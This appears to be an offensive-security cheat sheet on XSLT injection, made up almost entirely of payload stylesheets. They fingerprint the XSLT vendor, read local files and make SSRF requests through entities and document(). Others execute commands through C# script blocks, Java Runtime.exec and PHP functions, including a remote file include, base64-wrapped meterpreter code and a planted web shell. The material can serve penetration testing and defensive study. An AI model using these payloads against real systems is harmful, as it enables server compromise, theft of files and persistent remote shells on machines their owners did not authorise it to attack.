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# XSLT Injection
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> Processing an un-validated XSL stylesheet can allow an attacker to change the structure and contents of the resultant XML, include arbitrary files from the file system, or execute arbitrary code
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## Summary
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- [XSLT Injection ](#xslt-injection )
- [Summary ](#summary )
- [Tools ](#tools )
- [Exploit ](#exploit )
- [Determine the vendor and version ](#determine-the-vendor-and-version )
- [External Entity ](#external-entity )
- [Read files and SSRF using document ](#read-files-and-ssrf-using-document )
- [Remote Code Execution with Embedded Script Blocks ](#remote-code-execution-with-embedded-script-blocks )
- [Remote Code Execution with PHP wrapper ](#remote-code-execution-with-php-wrapper )
- [Remote Code Execution with Java ](#remote-code-execution-with-java )
- [Remote Code Execution with Native .NET ](#remote-code-execution-with-native-net )
- [References ](#references )
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## Tools
## Exploit
### Determine the vendor and version
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/fruits" >
< xsl:value-of select = "system-property('xsl:vendor')" / >
< / xsl:template >
< / xsl:stylesheet >
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body >
< br / > Version: < xsl:value-of select = "system-property('xsl:version')" / >
< br / > Vendor: < xsl:value-of select = "system-property('xsl:vendor')" / >
< br / > Vendor URL: < xsl:value-of select = "system-property('xsl:vendor-url')" / >
< / body >
< / html >
```
### External Entity
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C: \secretfruit.txt"> ]>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/fruits" >
Fruits &ext_file; :
<!-- Loop for each fruit -->
< xsl:for-each select = "fruit" >
<!-- Print name: description -->
- < xsl:value-of select = "name" /> : < xsl:value-of select = "description" />
< / xsl:for-each >
< / xsl:template >
< / xsl:stylesheet >
```
### Read files and SSRF using document
```xml
<?xml version="1.0" encoding="utf-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" >
< xsl:template match = "/fruits" >
< xsl:copy-of select = "document('http://172.16.132.1:25')" / >
< xsl:copy-of select = "document('/etc/passwd')" / >
< xsl:copy-of select = "document('file:///c:/winnt/win.ini')" / >
Fruits:
<!-- Loop for each fruit -->
< xsl:for-each select = "fruit" >
<!-- Print name: description -->
- < xsl:value-of select = "name" /> : < xsl:value-of select = "description" />
< / xsl:for-each >
< / xsl:template >
< / xsl:stylesheet >
```
### Remote Code Execution with Embedded Script Blocks
```xml
<?xml version="1.0" encoding="UTF-8"?>
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
< msxsl:script language = "C#" implements-prefix = "user" >
< ![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
< / msxsl:script >
< xsl:template match = "/fruits" >
--- BEGIN COMMAND OUTPUT ---
< xsl:value-of select = "user:execute()" / >
--- END COMMAND OUTPUT ---
< / xsl:template >
< / xsl:stylesheet >
```
### Remote Code Execution with PHP wrapper
Execute the function `readfile` .
```xml
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body >
< xsl:value-of select = "php:function('readfile','index.php')" / >
< / body >
< / html >
```
Execute the function `scandir` .
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" version = "1.0" >
< xsl:template match = "/" >
< xsl:value-of name = "assert" select = "php:function('scandir', '.')" / >
< / xsl:template >
< / xsl:stylesheet >
```
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Execute a remote php file using `assert`
```xml
<?xml version="1.0" encoding="UTF-8"?>
< html xsl:version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" >
< body style = "font-family:Arial;font-size:12pt;background-color:#EEEEEE" >
< xsl:variable name = "payload" >
include("http://10.10.10.10/test.php")
< / xsl:variable >
< xsl:variable name = "include" select = "php:function('assert',$payload)" / >
< / body >
< / html >
```
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Execute a PHP meterpreter using PHP wrapper.
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" version = "1.0" >
< xsl:template match = "/" >
< xsl:variable name = "eval" >
eval(base64_decode('Base64-encoded Meterpreter code'))
< / xsl:variable >
< xsl:variable name = "preg" select = "php:function('preg_replace', '/.*/e', $eval, '')" / >
< / xsl:template >
< / xsl:stylesheet >
```
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Execute a remote php file using `file_put_contents`
```xml
< xsl:stylesheet xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:php = "http://php.net/xsl" version = "1.0" >
< xsl:template match = "/" >
< xsl:value-of select = "php:function('file_put_contents','/var/www/webshell.php','<?php echo system($_GET["command"]); ?>')" / >
< / xsl:template >
< / xsl:stylesheet >
```
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### Remote Code Execution with Java
```xml
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:rt = "http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob = "http://xml.apache.org/xalan/java/java.lang.Object" >
< xsl:template match = "/" >
< xsl:variable name = "rtobject" select = "rt:getRuntime()" / >
< xsl:variable name = "process" select = "rt:exec($rtobject,'ls')" / >
< xsl:variable name = "processString" select = "ob:toString($process)" / >
< xsl:value-of select = "$processString" / >
< / xsl:template >
< / xsl:stylesheet >
```
```xml
< xml version = "1.0" ? >
< xsl:stylesheet version = "2.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:java = "http://saxon.sf.net/java-type" >
< xsl:template match = "/" >
< xsl:value-of select = "Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime = "java:java.lang.Runtime" / >
< / xsl:template > .
< / xsl:stylesheet >
```
### Remote Code Execution with Native .NET
```xml
< xsl:stylesheet version = "1.0" xmlns:xsl = "http://www.w3.org/1999/XSL/Transform" xmlns:msxsl = "urn:schemas-microsoft-com:xslt" xmlns:App = "http://www.tempuri.org/App" >
< msxsl:script implements-prefix = "App" language = "C#" >
< ![CDATA[
public string ToShortDateString(string date)
{
System.Diagnostics.Process.Start("cmd.exe");
return "01/01/2001";
}
]]>
< / msxsl:script >
< xsl:template match = "ArrayOfTest" >
< TABLE >
< xsl:for-each select = "Test" >
< TR >
< TD >
< xsl:value-of select = "App:ToShortDateString(TestDate)" / >
< / TD >
< / TR >
< / xsl:for-each >
< / TABLE >
< / xsl:template >
< / xsl:stylesheet >
```
## References
* [From XSLT code execution to Meterpreter shells - 02 July 2012 - @agarri ](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html )
* [XSLT Injection - Fortify ](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection )
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* [XSLT Injection Basics - Saxon ](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/ )
